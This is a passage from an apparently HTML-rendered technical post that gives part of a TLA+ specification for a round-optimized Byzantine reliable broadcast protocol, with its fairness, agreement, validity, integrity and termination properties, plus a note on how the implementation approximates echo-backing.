&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;493&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="n"&gt;processes&lt;/span&gt; &lt;span class="n"&gt;take&lt;/span&gt; &lt;span class="n"&gt;enabled&lt;/span&gt; &lt;span class="n"&gt;actions&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;honest&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;to&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;honest&lt;/span&gt; &lt;span class="n"&gt;channels&lt;/span&gt; &lt;span class="n"&gt;reliable&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;494&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;NO&lt;/span&gt; &lt;span class="n"&gt;fairness&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;Byzantine&lt;/span&gt; &lt;span class="n"&gt;receives&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;adversary&lt;/span&gt; &lt;span class="n"&gt;can&lt;/span&gt; &lt;span class="n"&gt;omit&lt;/span&gt; &lt;span class="n"&gt;arbitrarily&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;495&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Fairness&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;496&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WF_vars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;HonestStep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;497&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WF_vars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ReceiveEchoFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;498&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WF_vars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ReceiveReadyFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;499&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;WF_vars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ReceiveAbortFromHonest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;500&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;501&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Spec&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Init&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="err"&gt;□&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Next&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="n"&gt;_vars&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;Fairness&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;502&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;503&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;504&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Safety&lt;/span&gt; &lt;span class="n"&gt;Properties&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;505&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;506&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;507&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INV&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;AGREEMENT&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;508&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Agreement&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;509&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;510&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;∧&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;q&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;511&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;512&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HonestInputCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;input&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;513&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;H&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;Cardinality&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Honest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;514&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;515&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HasSupermajority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;HonestInputCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;Qs&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;516&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;517&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SupermajorityValue&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;518&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HasSupermajority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;519&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HasSupermajority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;520&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;521&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;522&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SimpleMajorityThreshold&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;H&lt;/span&gt; &lt;span class="err"&gt;÷&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;523&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;HasSimpleMajority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;HonestInputCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="err"&gt;≥&lt;/span&gt; &lt;span class="n"&gt;SimpleMajorityThreshold&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;524&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;525&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SimpleMajorityValue&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;526&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IF&lt;/span&gt; &lt;span class="err"&gt;∃&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HasSimpleMajority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;527&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;THEN&lt;/span&gt; &lt;span class="n"&gt;CHOOSE&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HasSimpleMajority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;528&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;ELSE&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;529&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;530&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INV&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;STRONG&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;VALIDITY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;531&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;StrongValidity&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;532&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;LET&lt;/span&gt; &lt;span class="n"&gt;sm&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;SupermajorityValue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;533&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;IN&lt;/span&gt; &lt;span class="n"&gt;sm&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;534&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;535&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;536&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INV&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;WEAK&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;VALIDITY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;537&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;WeakValidity&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;538&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;539&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;V&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt; &lt;span class="n"&gt;HonestInputCount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;540&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;541&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INV&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;INTEGRITY&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;542&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Integrity&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;543&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;544&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt; &lt;span class="err"&gt;⇒&lt;/span&gt; &lt;span class="n"&gt;SupermajorityValue&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Bottom&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;545&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;546&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Validity&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="n"&gt;StrongValidity&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;547&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;548&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;549&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Liveness&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;550&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="o"&gt;============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;551&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;552&lt;/span&gt;&lt;span class="cl"&gt;\&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;RCAST&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;TERMINATION&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;553&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Termination&lt;/span&gt; &lt;span class="err"&gt;≜&lt;/span&gt; &lt;span class="err"&gt;∀&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="err"&gt;∈&lt;/span&gt; &lt;span class="n"&gt;Honest&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;◇&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;delivered&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="err"&gt;≠&lt;/span&gt; &lt;span class="n"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;554&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;555&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;=============================================================================&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/details&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note on CanReachEchoBacking:&lt;/strong&gt; Only used for R2&amp;rsquo;s plurality demotion. The formula conservatively assumes all outstanding echoes could go to the leading value, minus f Byzantine who may not send. Post-timeout (when all honest echoes have arrived), this becomes exact. R3 amplification doesn&amp;rsquo;t require echo-backing.&lt;/p&gt;
&lt;p&gt;The implementation uses &lt;code&gt;(n - TotalEchoes) - f&lt;/code&gt; to approximate remaining honest senders. The TLA+ spec uses the exact &lt;code&gt;Cardinality(Honest) - HonestEchoSenders(p)&lt;/code&gt;. These are equivalent post-timeout but differ during execution.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="0x5-putting-it-together"&gt;&lt;span class="hx"&gt;0x5:&lt;/span&gt; Putting It Together&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Property&lt;/th&gt;
&lt;th&gt;Bracha&lt;/th&gt;
&lt;th&gt;Round-Optimized&lt;/th&gt;
